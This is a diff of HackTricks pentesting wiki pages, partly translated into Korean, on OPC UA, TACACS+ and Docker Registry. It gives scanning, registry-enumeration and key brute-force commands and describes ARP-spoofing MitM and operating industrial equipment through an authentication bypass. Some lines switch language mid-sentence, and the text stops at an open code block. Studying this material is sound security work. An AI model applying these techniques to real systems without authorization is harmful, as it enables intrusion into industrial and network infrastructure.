AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,60 +1,62 @@
|
||||||
# 4840 - OPC UA 펜테스팅
|
# 4840 - Pentesting OPC UA
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**OPC UA**는 **Open Platform Communications Unified Access**의 약자로, 제조, 에너지, 항공우주 및 국방과 같은 다양한 산업에서 데이터 교환과 장비 제어에 사용되는 중요한 오픈 소스 프로토콜입니다. 이 프로토콜은 특히 PLC와의 통신을 가능하게 하여 다른 공급업체의 장비가 통신할 수 있도록 합니다.
|
**OPC UA**는 **Open Platform Communications Unified Access**의 약자로, 제조, 에너지, 항공우주 및 방위와 같은 다양한 산업에서 데이터 교환 및 장비 제어를 위해 사용되는 중요한 오픈 소스 프로토콜입니다. 이 프로토콜은 특히 PLC와 함께 다양한 공급업체의 장비가 통신할 수 있도록 독특하게 설계되었습니다.
|
||||||
|
|
||||||
OPC UA의 구성은 강력한 보안 조치를 가능하게 하지만, 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출될 수 있습니다. 또한, OPC UA 서비스를 찾는 것은 어려울 수 있습니다. 네트워크 스캐너가 비표준 포트에 있는 경우에는 감지하지 못할 수 있습니다.
|
구성은 강력한 보안 조치를 허용하지만, 종종 구형 장치와의 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출될 수 있습니다. 또한, 네트워크 스캐너가 비표준 포트에 있을 경우 OPC UA 서비스를 감지하지 못할 수 있어 찾기가 어려울 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 4840
|
**기본 포트:** 4840
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
4840/tcp open unknown syn-ack
|
4840/tcp open unknown syn-ack
|
||||||
```
|
```
|
||||||
## OPC UA 펜테스팅
|
## Pentesting OPC UA
|
||||||
|
|
||||||
OPC UA 서버의 보안 문제를 확인하기 위해 [OpalOPC](https://opalopc.com/)를 사용하여 스캔합니다.
|
OPC UA 서버의 보안 문제를 드러내기 위해 [OpalOPC](https://opalopc.com/)로 스캔하십시오.
|
||||||
```bash
|
```bash
|
||||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### 취약점 악용
|
### 취약점 악용
|
||||||
|
|
||||||
인증 우회 취약점을 발견한 경우, [OPC UA 클라이언트](https://www.prosysopc.com/products/opc-ua-browser/)를 구성하여 액세스할 수 있는 내용을 확인할 수 있습니다. 이를 통해 단순히 프로세스 값을 읽는 것부터 실제로 중장비를 작동시킬 수도 있습니다.
|
인증 우회 취약점이 발견되면, [OPC UA 클라이언트](https://www.prosysopc.com/products/opc-ua-browser/)를 적절히 구성하고 접근할 수 있는 내용을 확인할 수 있습니다. 이는 단순히 프로세스 값을 읽는 것부터 실제로 중장비 산업 장비를 조작하는 것까지 가능하게 할 수 있습니다.
|
||||||
|
|
||||||
액세스할 수 있는 장치에 대한 단서를 얻기 위해 주소 공간에서 "ServerStatus" 노드 값을 읽고 사용 설명서를 구글에서 검색하세요.
|
접근할 수 있는 장치에 대한 단서를 얻으려면, 주소 공간에서 "ServerStatus" 노드 값을 읽고 사용 설명서를 구글링하세요.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:4840`
|
* `port:4840`
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# 49 - TACACS+ Pentesting
|
# 49 - Pentesting TACACS+
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -24,7 +25,7 @@ HackTricks를 지원하는 다른 방법:
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**Terminal Access Controller Access Control System (TACACS)** 프로토콜은 라우터나 네트워크 액세스 서버(NAS)에 액세스하려는 사용자를 중앙에서 인증하는 데 사용됩니다. **TACACS+**는 인증, 권한 부여 및 회계(AAA) 서비스를 분리하는 업그레이드된 버전입니다.
|
**Terminal Access Controller Access Control System (TACACS)** 프로토콜은 라우터나 네트워크 접근 서버(NAS)에 접근하려는 사용자를 중앙에서 검증하는 데 사용됩니다. 업그레이드된 버전인 **TACACS+**는 서비스를 인증, 권한 부여 및 회계(AAA)로 분리합니다.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
|
@ -33,45 +34,46 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
## 인증 키 가로채기
|
## 인증 키 가로채기
|
||||||
|
|
||||||
클라이언트와 TACACS 서버 간 통신이 공격자에의해 가로채지면 **암호화된 인증 키가 가로채질 수 있습니다**. 공격자는 그런 다음 **로그에 감지되지 않고 키에 대한 로컬 브루트 포스 공격을 시도**할 수 있습니다. 키를 성공적으로 브루트 포스하는 경우, 공격자는 네트워크 장비에 액세스하고 Wireshark와 같은 도구를 사용하여 트래픽을 해독할 수 있습니다.
|
클라이언트와 TACACS 서버 간의 통신이 공격자에 의해 가로채어지면, **암호화된 인증 키를 가로챌 수 있습니다**. 공격자는 **로그에 감지되지 않고 키에 대해 로컬 무차별 대입 공격을 시도할 수 있습니다**. 키를 무차별 대입 공격으로 성공적으로 해독하면, 공격자는 네트워크 장비에 접근할 수 있으며 Wireshark와 같은 도구를 사용하여 트래픽을 복호화할 수 있습니다.
|
||||||
|
|
||||||
### MitM 공격 수행
|
### MitM 공격 수행
|
||||||
|
|
||||||
**ARP 스푸핑 공격을 사용하여 중간자 공격을 수행**할 수 있습니다.
|
**ARP 스푸핑 공격을 사용하여 중간자(MitM) 공격을 수행할 수 있습니다**.
|
||||||
|
|
||||||
### 키 브루트 포스
|
### 키 무차별 대입 공격
|
||||||
|
|
||||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)를 사용하여 키를 브루트 포스할 수 있습니다:
|
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)를 사용하여 키를 무차별 대입 공격할 수 있습니다:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
만약 키가 성공적으로 **무차별 대입 공격** (**일반적으로 MD5로 암호화된 형식으로**), **장비에 액세스하고 TACACS로 암호화된 트래픽을 해독할 수 있습니다.**
|
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||||
|
|
||||||
### 트래픽 해독
|
### Decrypting Traffic
|
||||||
키가 성공적으로 크랙되면, 다음 단계는 **TACACS로 암호화된 트래픽을 해독하는 것**입니다. Wireshark는 키가 제공된 경우 암호화된 TACACS 트래픽을 처리할 수 있습니다. 해독된 트래픽을 분석하여 **사용된 배너와 관리자의 사용자 이름**과 같은 정보를 얻을 수 있습니다.
|
Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **배너와 관리자 사용자 이름**을 얻을 수 있습니다.
|
||||||
|
|
||||||
얻은 자격 증명을 사용하여 네트워크 장비의 제어판에 액세스하면, 공격자는 네트워크를 통제할 수 있습니다. 이러한 조치는 엄격히 교육 목적으로만 사용되어야 하며 적절한 승인 없이 사용해서는 안 됩니다.
|
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,61 +1,55 @@
|
||||||
# 5000 - Pentesting Docker Registry
|
# 5000 - Pentesting Docker Registry
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**Docker 레지스트리**는 이름이 지정된 Docker 이미지를 위한 저장 및 배포 시스템으로, 여러 버전으로 제공되며 태그로 구분됩니다. 이러한 이미지는 레지스트리 내의 **Docker 저장소**에 구성되어 있으며, 각 저장소는 특정 이미지의 여러 버전을 저장합니다. 제공되는 기능을 통해 사용자는 필요한 권한이 있는 경우 이미지를 로컬로 다운로드하거나 레지스트리에 업로드할 수 있습니다.
|
**Docker registry**로 알려진 저장 및 배포 시스템은 이름이 지정된 Docker 이미지에 대해 존재하며, 여러 버전이 태그로 구분될 수 있습니다. 이러한 이미지는 레지스트리 내의 **Docker repositories**에 조직되어 있으며, 각 리포지토리는 특정 이미지의 다양한 버전을 저장합니다. 제공되는 기능을 통해 사용자는 필요한 권한이 있는 경우 이미지를 로컬로 다운로드하거나 레지스트리에 업로드할 수 있습니다.
|
||||||
|
|
||||||
**DockerHub**는 Docker의 기본 공개 레지스트리로 작동하지만, 사용자는 온프레미스 버전의 오픈 소스 Docker 레지스트리/배포를 운영하거나 상업적으로 지원되는 **Docker Trusted Registry**를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.
|
**DockerHub**는 Docker의 기본 공개 레지스트리로 사용되지만, 사용자는 오픈 소스 Docker registry/distribution의 온프레미스 버전을 운영하거나 상업적으로 지원되는 **Docker Trusted Registry**를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.
|
||||||
|
|
||||||
온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:
|
온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull my-registry:9000/foo/bar:2.1
|
docker pull my-registry:9000/foo/bar:2.1
|
||||||
```
|
```
|
||||||
|
이 명령은 `my-registry` 도메인의 포트 `9000`에 있는 온프레미스 레지스트리에서 `foo/bar` 이미지 버전 `2.1`을 가져옵니다. 반대로, `2.1`이 최신 버전인 경우 DockerHub에서 동일한 이미지를 다운로드하려면 명령이 다음과 같이 간단해집니다:
|
||||||
이 명령은 `my-registry` 도메인의 온프레미스 레지스트리에서 포트 `9000`에서 `foo/bar` 이미지 버전 `2.1`을 가져옵니다. 반면에, 동일한 이미지를 DockerHub에서 다운로드하려면 특히 `2.1`이 최신 버전인 경우, 명령은 다음과 같이 간단해집니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull foo/bar
|
docker pull foo/bar
|
||||||
```
|
```
|
||||||
|
|
||||||
**기본 포트:** 5000
|
**기본 포트:** 5000
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5000/tcp open http Docker Registry (API: 2.0)
|
5000/tcp open http Docker Registry (API: 2.0)
|
||||||
```
|
```
|
||||||
|
## Discovering
|
||||||
|
|
||||||
## 발견
|
이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 어쨌든, HTTP 기반 서비스이므로 HTTP 프록시 뒤에 있을 수 있으며 nmap이 이를 감지하지 못할 수 있습니다.\
|
||||||
|
|
||||||
이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 그러나 HTTP 기반 서비스이므로 HTTP 프록시 뒤에 숨겨져 있을 수 있고 nmap은 이를 감지하지 못할 수 있습니다.\
|
|
||||||
일부 지문:
|
일부 지문:
|
||||||
|
|
||||||
* `/`에 액세스하면 응답에 아무것도 반환되지 않습니다.
|
* `/`에 접근하면 응답에 아무것도 반환되지 않습니다.
|
||||||
* `/v2/`에 액세스하면 `{}`가 반환됩니다.
|
* `/v2/`에 접근하면 `{}`가 반환됩니다.
|
||||||
* `/v2/_catalog`에 액세스하면 다음을 얻을 수 있습니다:
|
* `/v2/_catalog`에 접근하면 다음을 얻을 수 있습니다:
|
||||||
* `{"repositories":["alpine","ubuntu"]}`
|
* `{"repositories":["alpine","ubuntu"]}`
|
||||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||||
|
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
### HTTP/HTTPS
|
### HTTP/HTTPS
|
||||||
|
|
||||||
도커 레지스트리는 **HTTP** 또는 **HTTPS**를 사용하도록 구성될 수 있습니다. 따라서 해야 할 첫 번째 작업은 **어떤 것**이 구성되어 있는지 **찾는 것**입니다:
|
Docker registry는 **HTTP** 또는 **HTTPS**를 사용하도록 구성될 수 있습니다. 따라서 가장 먼저 해야 할 일은 **어떤 것이** 구성되어 있는지 **찾는 것**입니다:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
#If HTTPS
|
#If HTTPS
|
||||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
||||||
#If HTTP
|
#If HTTP
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
### Authentication
|
||||||
|
|
||||||
### 인증
|
Docker registry는 **authentication**을 요구하도록 구성될 수 있습니다:
|
||||||
|
|
||||||
도커 레지스트리는 **인증**을 요구하도록 구성할 수도 있습니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If Authentication required
|
#If Authentication required
|
||||||
|
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If no authentication required
|
#If no authentication required
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
Docker Registry가 인증을 요구하는 경우 [**이 방법을 사용하여 무차별 대입 공격을 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||||
만약 Docker Registry가 인증을 요구하는 경우 [**다음을 사용하여 브루트 포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
**유효한 자격 증명을 찾으면 이를 사용하여** 레지스트리를 열거해야 하며, `curl`에서는 다음과 같이 사용할 수 있습니다:
|
||||||
**유효한 자격 증명을 찾으면** 레지스트리를 열거해야 하며, `curl`에서는 다음과 같이 사용할 수 있습니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||||
```
|
```
|
||||||
|
### Enumeration using DockerRegistryGrabber
|
||||||
|
|
||||||
### DockerRegistryGrabber를 사용한 열거
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)는 도커 레지스트리를 열거/덤프하는 파이썬 도구입니다 (기본 인증 없이 또는 기본 인증과 함께).
|
||||||
|
|
||||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)는 도커 레지스트리를 열거하고 덤프하는 데 사용되는 파이썬 도구입니다 (기본 인증을 사용하거나 사용하지 않고).
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
